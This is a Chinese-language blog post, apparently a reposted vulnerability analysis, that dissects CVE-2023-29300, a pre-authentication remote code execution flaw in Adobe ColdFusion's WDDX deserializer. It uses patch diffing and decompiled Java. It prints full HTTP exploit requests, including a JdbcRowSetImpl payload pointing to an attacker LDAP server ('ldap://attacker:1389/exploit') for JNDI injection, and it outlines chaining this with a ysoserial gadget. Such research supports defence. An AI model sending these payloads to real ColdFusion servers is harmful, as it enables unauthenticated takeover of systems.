分析 CVE-2023-29300:Adobe ColdFusion 预授权 RCE
2023-7-13 09:40:59
Author: Ots安全(查看原文)
阅读量:136
收藏
Adobe ColdFusion 因其强大的 Web 开发功能而受到广泛认可,最近发布了一个重要的安全更新。此次更新特别针对三个安全问题,其中CVE-2023-29300是一个高度关注的预身份验证远程代码执行(RCE)漏洞。此漏洞构成重大威胁,允许恶意行为者在存在漏洞的 Coldfusion 2018、2021 和 2023 安装上执行任意代码,而无需事先进行身份验证。在这篇博文中,我们的目标是对 CVE-2023-29300 进行全面分析,阐明漏洞的性质及其潜在影响,并分享我们团队进行的代码审核之旅。在我们的研究环境中,现有的 Adobe ColdFusion 2021 设置已经在我们之前的工作中就位。在发现新的安全更新(版本 7)可用后,我们在确保备份当前安装目录后继续安装它。此安装的目的是执行补丁比较,使我们能够比较安全更新所做的更改,并在必要时回滚。我们进行了 git diff 并观察到coldfusion.wddx.DeserializerWorker.java文件中的显着变化。这是一个XML 类型的WDDX数据包解串器。在startElement方法中DeserializerWorker,我们注意到新添加的验证是通过validateWddxFilter() forstruct元素执行的。 public void startElement(String name, AttributeList atts) throws SAXException {
try {
...
if (name.equalsIgnoreCase("struct") && atts.getType(0) != null) {
validateWddxFilter(atts);
}
...
} catch (WddxDeserializationException e) {
throwSAXException(e);
}
}
private void validateWddxFilter(AttributeList atts) throws InvalidWddxPacketException {
String attributeType = atts.getValue("type");
validateBlockedClass(attributeType);
}
private void validateBlockedClass(String attributeType) throws InvalidWddxPacketException {
if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && !attributeType.equalsIgnoreCase(StructTypes.ORDERED.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.CASESENSITIVE.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.ORDEREDCASESENSITIVE.getValue()) && WddxFilter.invoke(attributeType)) {
throw new InvalidWddxPacketException();
}
}
该struct元素现在在其属性中包含新的检查type,确保 className 以 开头coldfusion并通过其他辅助检查。该validateBlockedClass函数指示完全限定类名 (FQCN) 将作为类型属性传递。在查看了有关 WDDX 的文档和文章后,我们对 WDDX 数据包的结构有了基本的了解。现在,让我们深入研究这个数据包的解析。每个WDDX元素对应一个特定的处理程序;例如,struct 元素由 StructHandler 处理。由于更改是针对结构元素进行的,因此我们的重点转移到解析 WDDX 结构元素。<wddxPacket version='1.0'><header/><data><struct type='className'><var name='prop_name'><string>prop_value</string></var></struct></data></wddxPacket>
通过阅读、调试、跟踪各种断点,我们理解了解析过程。据观察,Java 反射在某些代码块中广泛使用,这表明用户输入将经历反射调用。onEndElement() -> getClassBySignature() -> setBeanProperties()
在该方法中,如果 WDDX 数据包的结构元素中提供了类型属性,则会对在代码中之前设置的字段onEndElement()执行检查。m_strictType
public void onEndElement() throws WddxDeserializationException {
if (this.m_strictType == null) {
setTypeAndValue(this.m_ht);
return;
}
try {
Class beanClass = getClassBySignature(this.m_strictType);
Object bean = beanClass.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]);
setBeanProperties(bean, this.m_ht);
setTypeAndValue(bean);
} catch (Exception e) {
...
}
}
通过此检查后,将调用getClassbySignature(),它使用反射来获取类实例。类名源自用户控制的输入m_strictType,并且第一个和最后一个字符被删除,可能是因为输入预计采用LclassName 的形式; private static Class getClassBySignature(String jniTypeSig) throws ClassNotFoundException {
char c = jniTypeSig.charAt(0);
switch (c) {
...
default:
String className = jniTypeSig.substring(0 + 1, jniTypeSig.length() - 1);
return Class.forName(className);
}
}
一旦我们有了类名,就会使用反射来访问类的构造函数,特别是不带参数的构造函数,并实例化该类的实例。然后,该实例与包含 WDDX 变量的setBeanProperties()用户控制字段一起传递到。m_ht private void setBeanProperties(Object bean, Map props) throws WddxDeserializationException {
Hashtable descriptors;
try {
BeanInfo beanInfo = Introspector.getBeanInfo(bean.getClass(), Object.class);
PropertyDescriptor[] descriptorArray = beanInfo.getPropertyDescriptors();
descriptors = new Hashtable();
for (int i = 0; i < descriptorArray.length; i++) {
descriptors.put(descriptorArray[i].getName(), descriptorArray[i]);
}
} catch () {
...
}
for (String propName : props.keySet()) {
Object propValue = props.get(propName);
IndexedPropertyDescriptor indexedPropertyDescriptor = (PropertyDescriptor) descriptors.get(propName);
if (indexedPropertyDescriptor != null) {
if (indexedPropertyDescriptor instanceof IndexedPropertyDescriptor) {
...
} else {
Method method2 = indexedPropertyDescriptor.getWriteMethod();
if (method2 != null) {
try {
Class[] types2 = method2.getParameterTypes();
Object value2 = ObjectConverter.convert(propValue, types2[0]);
method2.invoke(bean, value2);
} catch () {
...
}
}
}
...
}
}
}
方法getPropertyDescriptors()返回BeanInfo一个对象数组PropertyDescriptor。每个PropertyDescriptor代表 bean 的一个属性,并包含有关属性名称、数据类型和 getter/setter 方法的信息。最终我们看到了 IndexedPropertyDescriptor 的用法,它有getReadMethod和getWriteMethod,分别对应 getter 方法和 setter 方法。我们注意到,如果 bean 有任何 setter 方法,它将被返回,并最终通过 Java Reflections 在 bean 上调用,变量值作为唯一参数,这些变量值来自 WDDX 数据包,这又是用户控制的。TL;DR:我们发现了一个漏洞,在某些条件下可以调用类的方法:- 该方法必须是一个 setter,由其名称以“set”开头表示。
了解了易受攻击的接收器后,我们继续下一步,确定该接收器的预身份验证源。在我们通过搜索反编译代码库进行分析时WddxDeserializer,我们发现了来自该类的调用FilterUtils。在搜索 WddxDeserializer 的反编译代码库时,我们在 FilterUtils 类中发现了对 WddxDeserializer 的引用。 public static Object WDDXDeserialize(String str) throws Throwable {
WddxDeserializer deserializer = new WddxDeserializer();
InputSource source = new InputSource(new StringReader(str));
return deserializer.deserialize(source);
}
具体来说,它正在该GetArgumentCollection方法中使用。此方法将请求上下文作为输入,并argumentCollection从表单或查询字符串中提取参数。然后检查检索到的输入以确定其是否为 JSON 类型。如果不是,则使用WDDXDeserialize()调用将该值反序列化为 WDDX 数据包。 public static Map GetArgumentCollection(FusionContext context) throws Throwable {
Struct argumentCollection;
HttpServletRequest httpServletRequest = context.request;
String attr = (String) context.pageContext.findAttribute("url.argumentCollection");
if (attr == null) {
attr = (String) context.pageContext.findAttribute("form.argumentCollection");
}
if (attr == null) {
argumentCollection = new Struct();
} else {
String attr2 = attr.trim();
if (attr2.charAt(0) == '{') {
argumentCollection = (Struct) JSONUtils.deserializeJSON(attr2);
} else {
argumentCollection = (Struct) WDDXDeserialize(attr2); // Call to vulnerable Sink here
}
}
在阅读了有关以前 CVE 的代码库和Rapid7的外部文章后,我们意识到我们需要一个有效的 CFC 端点。在我们的例子中,预身份验证 CFC 端点触发GetArgumentCollection对我们易受攻击的接收器的调用并最终触发调用,即WDDXDeserialize().我们到达 WDDX 的示例请求StructHandler如下所示:POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xclassNamex'><var name='VERSION'><string>1.0.0</string></var></struct></data></wddxPacket>
其中/CFIDE/adminapi/accessmanager.cfc是预验证有效的 CFC 端点。为了验证我们的原语,我们设置了一个 JVM 调试器并在方法调用处放置了一个断点。为了确认该漏洞,我们选择了一个java.util.Date满足指定要求的简单类 。该类具有 setter 方法,例如setDate. 然后,我们在请求中创建了一个类似于以下内容的 WDDX 数据包:POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xjava.util.Datex'><var name='date'><string>our_input</string></var></struct></data></wddxPacket>
在此阶段,我们能够确认调用java.util.Date.setDate(our_input)已成功执行。我们的下一个目标是找到一种滥用此原语进行远程代码执行的方法。几个小时后,我们偶然发现了com.sun.rowset.JdbcRowSetImpl符合我们要求的课程。如果将布尔参数传递给setAutoCommit()此类的方法,它将对 dataSourceName 执行 JNDI 查找,可以使用该setDataSourceName()方法设置 dataSourceName。这一发现使我们认识到,setDataSourceName()随后调用setAutoCommit()会导致 JNDI 注入漏洞。需要注意的是,我们在执行方法调用时处于 for 循环中,因此我们能够在 bean 实例上调用多个方法。在此阶段,我们已通过 WDDX 反序列化升级为 JNDI 注入,这为远程代码执行提供了可能性。POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://attacker:1389/exploit</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>
查看类路径,我们注意到有几个commons-beanutils-1.9.4独立的库。我们为恶意 LDAP 服务器生成了 ysoserial java 反序列化有效负载commons-beanutils并将其绑定到该服务器上。这样做会导致在 Adobe ColdFusion 2021(更新 6)上远程执行代码。CVE-2023-29300 的 Nuclei 模板现已在 Nuclei-Templates 存储库中提供 -此处您可以运行nuclei来扫描 CVE-2023-29300,如下所示:nuclei -id CVE-2023-29300 -list coldfusion_list.txt
总之,我们的分析揭示了 Adobe ColdFusion 2021(更新 6)内的 WDDX 反序列化过程中存在重大漏洞。通过利用该漏洞,我们能够实现远程代码执行。该问题源于 Java Reflection API 的不安全使用,允许调用某些方法。要利用此漏洞,通常需要访问有效的 CFC 端点。但是,如果由于 ColdFusion 锁定模式而无法直接访问默认的预身份验证 CFC 端点,则可能会将此漏洞与 CVE-2023-29298 结合起来。这种组合可以针对易受攻击的 ColdFusion 实例进行远程代码执行,即使它配置为锁定模式也是如此。
文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247499939&idx=1&sn=cb4eba54153237476e617df373b73018&chksm=9bad89e8acda00fead30157e3f5651db73b460590e8105774c2e6ad0630416ea6c8de0b94265#rd
如有侵权请联系:admin#unsafe.sh